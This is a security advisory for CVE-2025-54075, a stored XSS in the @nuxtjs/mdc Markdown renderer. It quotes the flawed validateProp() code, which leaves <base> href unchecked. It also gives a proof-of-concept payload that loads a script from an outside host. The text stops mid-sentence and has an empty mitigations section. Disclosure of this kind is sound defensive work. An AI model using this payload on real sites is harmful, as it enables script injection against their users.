Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering
Date: 2025-07
Affected: npm/@nuxtjs/mdc
Attack vector: xss
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2025-54075
CWE: CWE-79
CVSS: 8.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L)

### Summary A **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. ### Details - **Affected file** : `src/runtime/parser/utils/props.ts` - **Core logic** : `validateProp()` inspects * attributes that start with `on` → blocked * `href` or `src` → filtered by `isAnchorLinkAllowed()` Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated. ``` export const validateProp = (attribute: string, value: string) => { if (attribute.startsWith('on')) return false if (attribute === 'href' || attribute === 'src') { return isAnchorLinkAllowed(value) } return true // ← “href” on <base> not checked } ``` As soon as `<base href="https://vozec.fr">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain. ### Proof of Concept Place the following in any Markdown handled by Nuxt MDC: ``` <base href="https://vozec.fr"> <script src="/xss.js"></script> ``` 1. Start the Nuxt app (`npm run dev`). 2. Visit the page. 3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScri


Mitigations:

Architectural layers (MAESTRO):